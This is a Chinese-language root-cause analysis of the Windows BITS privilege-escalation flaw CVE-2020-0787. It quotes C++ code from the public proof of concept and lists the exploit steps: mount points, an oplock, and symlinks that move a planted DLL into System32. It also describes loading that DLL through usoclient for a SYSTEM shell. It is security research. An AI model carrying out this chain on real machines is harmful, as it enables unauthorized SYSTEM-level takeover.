简介
该漏洞为BITS服务任意文件移动漏洞,利用BITS没有正确的处理符号链接,而导致权限提升。
漏洞详情:Microsoft Vulnerability CVE-2020-0787
公开的Poc/Exp项目:BitsArbitraryFileMove
漏洞成因分析
Background Intelligent Transfer Service(BITS)后台智能传输服务,可从HTTP Web服务器和SMB文件共享中上传或下载文件。微软官方参考文档:Background Intelligent Transfer Service
BITS服务针对不同版本公开了几个COM对象,如下图:
其中Legacy Background Intelligent Transfer Control Class
为旧版本的“控件类”BackgroundCopyQMgr
,其CLSID为69ad4aee-51be-439b-a92c-86ae490e8b30
在Poc项目中,发现正是使用了BackgroundCopyQMgr
,如下:
DWORD CBitsCom::PrepareJob(LPCWSTR pwszJobLocalFilename)
{
HRESULT hRes;
// 创建BackgroundCopyQMgr对象实例
hRes = CoCreateInstance(__uuidof(BackgroundCopyQMgr), NULL, CLSCTX_LOCAL_SERVER, __uuidof(IBackgroundCopyQMgr), (void**)&m_pBackgroundCopyQMgr);
if (FAILED(hRes))
{
// Return Error...
}
// 获取Group
OLECHAR* groupGuidStr;
hRes = m_pBackgroundCopyQMgr->GetGroup(m_guidGroup, &m_pBackgroundCopyGroup);
if (SUCCEEDED(hRes))
{
hRes = m_pBackgroundCopyGroup->CancelGroup(); // 取消Group
if (FAILED(hRes))
{
// Return Error...
}
}
// 创建Group
hRes = m_pBackgroundCopyQMgr->CreateGroup(m_guidGroup, &m_pBackgroundCopyGroup);
if (FAILED(hRes))
{
// Return Error...
}
// 创建任务
OLECHAR* jobGuidStr;
hRes = m_pBackgroundCopyGroup->CreateJob(m_guidJob, &m_pBackgroundCopyJob1);
if (FAILED(hRes))
{
// Return Error...
}
// 添加文件到任务中
FILESETINFO fileSetInfo;
BSTR bstrRemoteFile = SysAllocString(L"\\\\127.0.0.1\\C$\\Windows\\System32\\drivers\\etc\\hosts");
BSTR bstrLocalFile = SysAllocString(pwszJobLocalFilename);
fileSetInfo.bstrRemoteFile = bstrRemoteFile;
fileSetInfo.bstrLocalFile = bstrLocalFile;
FILESETINFO* fileSetInfoArray = (FILESETINFO*)malloc(1 * sizeof(FILESETINFO));
if (!fileSetInfoArray)
{
// Return Error...
}
fileSetInfoArray[0] = fileSetInfo;
hRes = m_pBackgroundCopyJob1->AddFiles(1, &fileSetInfoArray);
if (FAILED(hRes))
{
// Return Error...
}
free(fileSetInfoArray);
SysFreeString(bstrRemoteFile);
SysFreeString(bstrLocalFile);
return BITSCOM_ERR_SUCCESS;
}
此处可以发现,在使用旧版本BackgroundCopyQMgr
类时,需要一个额外的操作即调用IBackgroundCopyQMgr::CreateGroup()
或IBackgroundCopyQMgr::GetGroup()
获取一个Group后才能使用CreateJob
功能,而在新版本中不需要这一步骤
然后在Poc中,有使用IBackgroundCopyQMgr::QueryNewJobInterface
接口
DWORD CBitsCom::ResumeJob()
{
HRESULT hRes;
// --- Query new job interface ---
hRes = m_pBackgroundCopyGroup->QueryNewJobInterface(__uuidof(IBackgroundCopyJob), &m_pUnkNewJobInterface);
if (FAILED(hRes))
{
// Return Error...
}
CComQIPtr<IBackgroundCopyJob> pBackgrounCopyJob(m_pUnkNewJobInterface);
if (!pBackgrounCopyJob)
{
// Return Error...
}
// --- Resume job ---
hRes = pBackgrounCopyJob->Resume();
if (FAILED(hRes))
{
// Return Error...
}
return BITSCOM_ERR_SUCCESS;
}
IBackgroundCopyQMgr::QueryNewJobInterface
属于未公开接口,转到头文件qmgr.h
中,可以发现另一个未公开接口IBackgroundCopyQMgr::SetNotificationPointer
,函数原型如下:
virtual HRESULT STDMETHODCALLTYPE QueryNewJobInterface(
/* [in] */ __RPC__in REFIID iid,
/* [iid_is][out] */ __RPC__deref_out_opt IUnknown **pUnk) = 0;
virtual HRESULT STDMETHODCALLTYPE SetNotificationPointer(
/* [in] */ __RPC__in REFIID iid,
/* [in] */ __RPC__in_opt IUnknown *pUnk) = 0;
分析QueryNewJobInterface
接口,其属于qmgr!COldGroupInterface::QueryNewJobInterface
,此接口大致功能应该是获取一个新的Job接口
紧接着从CreateJob
开始分析整个执行流程
IBackgroundCopyGroup::CreateJob()
接口为qmgr!COldGroupInterface::CreateJob
,其中有CFG,动态调试,直接调用的是qmgr!COldGroupInterface::CreateJobInternal
方法:
在qmgr!COldGroupInterface::CreateJobInternal
中,最终会调用CJob::CheckClientAccess
方法
而在CJob::CheckClientAccess
方法中,主要检查用户Token,然后创建模拟用户,使用此Token,设置到线程Token上。之后返回到qmgr!COldGroupInterface::CreateJobInternal
中调用CJob::GetOldJobExternal
返回了一个新的job接口指针
对比qmgr!COldGroupInterface::QueryNewJobInterface
与qmgr!COldGroupInterface::CreateJob
执行流程不难发现,在qmgr!COldGroupInterface::CreateJob
执行过程中存在检查Token创建模拟用户的行为,而qmgr!COldGroupInterface::QueryNewJobInterface
没有
在上述分析的基础上,对整个执行流程做个梳理:
1. 准备环境
1.1 禁用wow64重定向
1.2 创建目录%TEMP%\workspace\mountpoint\和%TEMP%\workspace\bait\目录
1.3 将目录%TEMP%\workspace\mountpoint\挂载到%TEMP%\workspace\bait\上
1.4 生成%TEMP%\workspace\Fakedll.dll
2. 创建BackgroundCopyQMgr实例,并生成一个Group,利用Group添加job,该任务将\\127.0.0.1\C$\Windows\System32\drivers\etc\hosts传输到%TEMP%\workspace\mountpoint\test.txt文件中
3. 查找%TEMP%\workspace\bait\BIT*.tmp文件,后面会使用,此文件应该是mountpoint目录下,mountpoint目录挂载到bait下就直接在bait下找,随后给此文件设置oplock用于同步
4. 调用QueryNewJobInterface得到一个新的job接口,然后恢复任务等待oplock解锁
5. oplock解锁后,取消原挂载点,创建新挂载点,将%TEMP%\workspace\mountpoint\挂载到\RPC Control
5.1 创建符号链接:\RPC Control\BIT*.tmp -> %TEMP%\workspace\FakeDll.dll
\RPC Control\test.txt -> C:\Windows\System32\FakeDll.dll
5.2 当BITS完成服务时,会将BIT*.tmp文件重命名为目标test.txt文件
综上,由于符号链接的原因,最终会将%TEMP%\workspace\FakeDll.dll移动到C:\Windows\System32\FakeDll.dll
但是,在实际监控中,只有最后对文件进行重命名时,会以System权限执行,其余均是在模拟用户权限下执行,如下:
我认为问题出在MoveFileExW
调用链上
CJob::StaticOnTransferComplete
|- CJob::OnDownloadComplete
|- CJob::FileComplete
|- CFile::MoveTempFile
|- MoveFileExW
于是对比了一下打补丁前后qmgr.dll的情况,发现有如下可疑之处:
在CJob::FileComplete
中,打完补丁后,该接口在调用CFile::MoveTempFile
前有模拟用户的操作
之后修改POC,让其直接使用新版的IBackgroundCopyManager
,普通用户权限下无法写入system32目录,以管理员权限运行会有以下调用栈
00 000000fd`b297d918 00007ffb`e16fba8f qmgr!CFile::MoveTempFile
01 000000fd`b297d920 00007ffb`e16d520f qmgr!CJob::CommitTemporaryFiles+0x15f
02 000000fd`b297dac0 00007ffb`e16c36cd qmgr!CJob::Complete+0x16f
03 000000fd`b297dd00 00007ffb`e16c35ea qmgr!CJobExternal::CompleteInternal+0xc1
04 000000fd`b297dd80 00007ffc`03d66983 qmgr!CJobExternal::Complete+0x1a
在qmgr!CJobExternal::CompleteInternal
函数中会调用CJob::CheckClientAccess
验证访问,对于权限足够的才会调用后续的操作
故此漏洞的成因应该就是在旧接口IBackgroundCopyQMgr
上没有模拟用户权限验证
获取System权限的shell
在win10中,存在一个Update Session Orchestrator服务,该服务与windows更新相关,可以以普通用户权限使用COM与其通信
同时在win10上有个usoclient.exe
工具,通过该工具执行usoclient StartScan
命令时,此服务会尝试加载windowscoredeviceinfo.dll
这个缺省的DLL,并调用其中的QueryDeviceInformation
函数
参考
CVE-2020-0787 - Windows BITS - An EoP Bug Hidden in an Undocumented RPC Function
An introduction to privileged file operation abuse on Windows